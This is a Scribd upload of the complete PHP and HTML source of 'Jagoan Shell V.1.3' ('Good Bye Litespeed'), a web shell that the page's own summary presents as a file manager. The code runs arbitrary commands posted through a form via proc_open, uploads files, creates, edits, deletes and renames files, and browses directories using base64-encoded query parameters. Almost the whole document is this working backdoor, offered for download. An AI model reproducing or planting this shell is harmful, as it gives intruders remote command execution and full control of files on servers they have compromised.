0% found this document useful (0 votes)
25 views7 pages

Jagoan Shell V.1.3

The document is an HTML page that provides a file management interface, allowing users to create, edit, delete, and upload files and folders on a server. It includes PHP scripts to handle file operations and display the current directory's contents with options for viewing, renaming, and executing commands. The page is styled with CSS for a user-friendly experience and displays server time and directory structure.

Uploaded by

Lutfi Code
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
25 views7 pages

Jagoan Shell V.1.3

The document is an HTML page that provides a file management interface, allowing users to create, edit, delete, and upload files and folders on a server. It includes PHP scripts to handle file operations and display the current directory's contents with options for viewing, renaming, and executing commands. The page is styled with CSS for a user-friendly experience and displays server time and directory structure.

Uploaded by

Lutfi Code
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 7

<!

DOCTYPE html>
<html>
<head>
<title>Good Bye Litespeed</title>
<link href="https://fonts.googleapis.com/css?family=Arial%20Black"
rel="stylesheet">
<style>
body {
font-family: 'Arial Black', sans-serif;
color: #fff;
margin: 0;
padding: 0;
background-color: #242222c9;
}
.result-box-container {
position: relative;
margin-top: 20px;
}

.result-box {
width: 100%;
height: 200px;
padding: 10px;
border: 1px solid #ddd;
border-radius: 5px;
background-color: #f4f4f4;
overflow: auto;
box-sizing: border-box;
font-family: 'Arial Black', sans-serif;
color: #333;
}

.result-box::placeholder {
color: #999;
}

.result-box:focus {
outline: none;
border-color: #128616;
}

.result-box::-webkit-scrollbar {
width: 8px;
}

.result-box::-webkit-scrollbar-thumb {
background-color: #128616;
border-radius: 4px;
}
.container {
max-width: 90%;
margin: 20px auto;
padding: 20px;
background-color: #1e1e1e;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
.header {
text-align: center;
margin-bottom: 20px;
}
.header h1 {
font-size: 24px;
}
.subheader {
text-align: center;
margin-bottom: 20px;
}
.subheader p {
font-size: 16px;
font-style: italic;
}
form {
margin-bottom: 20px;
}
form input[type="text"],
form textarea {
width: 100%;
padding: 8px;
margin-bottom: 10px;
border: 1px solid #ddd;
border-radius: 3px;
box-sizing: border-box;
}
form input[type="submit"] {
width: 100%;
padding: 10px;
background-color: #128616;
color: white;
border: none;
border-radius: 3px;
cursor: pointer;
}
.result-box {
width: 100%;
height: 200px;
resize: none;
overflow: auto;
font-family: 'Arial Black';
background-color: #f4f4f4;
padding: 10px;
border: 1px solid #ddd;
margin-bottom: 10px;
}
form input[type="submit"]:hover {
background-color: #143015;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
th, td {
padding: 8px;
text-align: left;
}
th {
background-color: #5c5c5c;
}
tr:nth-child(even) {
background-color: #9c9b9bce;
}
.item-name {
max-width: 200px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.size, .date {
width: 100px;
}
.permission {
font-weight: bold;
width: 50px;
text-align: center;
}
.writable {
color: #0db202;
}
.not-writable {
color: #d60909;
}
textarea[name="file_content"] {
width: calc(100.9% - 10px);
margin-bottom: 10px;
padding: 8px;
max-height: 500px;
resize: vertical;
border: 1px solid #ddd;
border-radius: 3px;
font-family: 'Arial Black';
}
</style>
</head>
<body>
<div class="container">
<?php
$timezone = date_default_timezone_get();
date_default_timezone_set($timezone);
$rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']);
$scriptDirectory = dirname(__FILE__);

function x($b) {
return base64_encode($b);
}

function y($b) {
return base64_decode($b);
}

foreach ($_GET as $c => $d) $_GET[$c] = y($d);

$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);


chdir($currentDirectory);

$viewCommandResult = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['fileToUpload'])) {
$target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]
["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file))
{
echo "File " . htmlspecialchars(basename($_FILES["fileToUpload"]
["name"])) . " Upload success";
} else {
echo "Sorry, there was an error uploading your file.";
}
} elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
$newFolder = $currentDirectory . '/' . $_POST['folder_name'];
if (!file_exists($newFolder)) {
mkdir($newFolder);
echo '<hr>Folder created successfully!';
} else {
echo '<hr>Error: Folder already exists!';
}
} elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) {
$fileName = $_POST['file_name'];
$newFile = $currentDirectory . '/' . $fileName;
if (!file_exists($newFile)) {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
echo '<hr>File created successfully!';
} else {
echo '<hr>Error: Failed to create file!';
}
} else {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
echo '<hr>File edited successfully!';
} else {
echo '<hr>Error: Failed to edit file!';
}
}
} elseif (isset($_POST['delete_file'])) {
$fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
if (file_exists($fileToDelete)) {
if (is_dir($fileToDelete)) {
if (deleteDirectory($fileToDelete)) {
echo '<hr>Folder deleted successfully!';
} else {
echo '<hr>Error: Failed to delete folder!';
}
} else {
if (unlink($fileToDelete)) {
echo '<hr>File deleted successfully!';
} else {
echo '<hr>Error: Failed to delete file!';
}
}
} else {
echo '<hr>Error: File or directory not found!';
}
} elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) &&
isset($_POST['new_name'])) {
$oldName = $currentDirectory . '/' . $_POST['old_name'];
$newName = $currentDirectory . '/' . $_POST['new_name'];
if (file_exists($oldName)) {
if (rename($oldName, $newName)) {
echo '<hr>Item renamed successfully!';
} else {
echo '<hr>Error: Failed to rename item!';
}
} else {
echo '<hr>Error: Item not found!';
}
} elseif (isset($_POST['cmd_input'])) {
$command = $_POST['cmd_input'];
$descriptorspec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if (!empty($errors)) {
$viewCommandResult = '<hr><p>Result:</p><textarea class="result-
box">' . htmlspecialchars($errors) . '</textarea>';
} else {
$viewCommandResult = '<hr><p>Result:</p><textarea class="result-
box">' . htmlspecialchars($output) . '</textarea>';
}
} else {
$viewCommandResult = '<hr><p>Error: Failed to execute command!</p>';
}
} elseif (isset($_POST['view_file'])) {
$fileToView = $currentDirectory . '/' . $_POST['view_file'];
if (file_exists($fileToView)) {
$fileContent = file_get_contents($fileToView);
$viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] .
'</p><textarea class="result-box">' . htmlspecialchars($fileContent) .
'</textarea>';
} else {
$viewCommandResult = '<hr><p>Error: File not found!</p>';
}
}
}

echo '<center>
<div class="fig-ansi">
<pre id="taag_font_ANSIShadow" class="fig-ansi"><span style="color: rgb(67, 142,
241);"> <strong> __ Bye Bye Litespeed _____ __
__| |___ ___ ___ ___ ___ | __| | v.1.3
| | | .\'| . | . | .\'| | |__ | |__
|_____|__,|_ |___|__,|_|_| |_____|_____|
|___| ./Heartzz </strong> </span></pre>
</div>
</center>';
echo "Zona waktu server: " . $timezone . "<br>";
echo "Waktu server saat ini: " . date('Y-m-d H:i:s');
echo '<hr>Curdir: ';
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = '';
$homeLinkPrinted = false;
foreach ($directories as $index => $dir) {
$currentPath .= DIRECTORY_SEPARATOR . $dir;
if ($index == 0) {
echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
} else {
echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
}
}

echo '<a href="?d=' . x($scriptDirectory) . '"> / <span style="color: green;">[ GO


Home ]</span></a>';
echo '<br>';
echo '<hr><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ?
$_SERVER['QUERY_STRING'] : '').'">';
echo '<input type="text" name="folder_name" placeholder="New Folder Name">';
echo '<input type="submit" value="Create Folder">';
echo '</form>';
echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ?
$_SERVER['QUERY_STRING'] : '').'">';
echo '<input type="text" name="file_name" placeholder="Create New File / Edit
Existing File">';
echo '<textarea name="file_content" placeholder="File Content (for new file) or
Edit Content (for existing file)"></textarea>';
echo '<input type="submit" value="Create / Edit File">';
echo '</form>';
echo '<form method="post" enctype="multipart/form-data">';
echo '<hr>';
echo '<input type="file" name="fileToUpload" id="fileToUpload" placeholder="pilih
file:">';
echo '<hr>';
echo '<input type="submit" value="Upload File" name="submit">';
echo '</form>';
echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ?
$_SERVER['QUERY_STRING'] : '').'"><input type="text" name="cmd_input"
placeholder="Enter command"><input type="submit" value="Run Command"></form>';
echo $viewCommandResult;
echo '<div>';
echo '</div>';
echo '<table border=1>';
echo '<br><tr><th><center>Item
Name</th><th><center>Size</th><th><center>Date</th><th>Permissions</
th><th><center>View</th><th><center>Delete</th><th><center>Rename</th></tr></
center></center></center>';
foreach (scandir($currentDirectory) as $v) {
$u = realpath($v);
$s = stat($u);
$itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.
('d='.x($currentDirectory).'&f='.x($v));
$permission = substr(sprintf('%o', fileperms($u)), -4);
$writable = is_writable($u);
echo '<tr>
<td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td>
<td class="size">'.filesize($u).'</td>
<td class="date" style="text-align: center;">'.date('Y-m-d H:i:s',
filemtime($u)).'</td>
<td class="permission '.($writable ? 'writable' : 'not-writable').'">'.
$permission.'</td>
<td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ?
$_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file"
value="'.htmlspecialchars($v).'"><input type="submit" value=" View "></form></td>
<td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ?
$_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file"
value="'.htmlspecialchars($v).'"><input type="submit" value="Delete"></form></td>
<td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ?
$_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name"
value="'.htmlspecialchars($v).'"><input type="text" name="new_name"
placeholder="New Name"><input type="submit" name="rename_item"
value="Rename"></form></td>
</tr>';
}

echo '</table>';
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return unlink($dir);
}
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}
?>
</div>
</body>
</html>

You might also like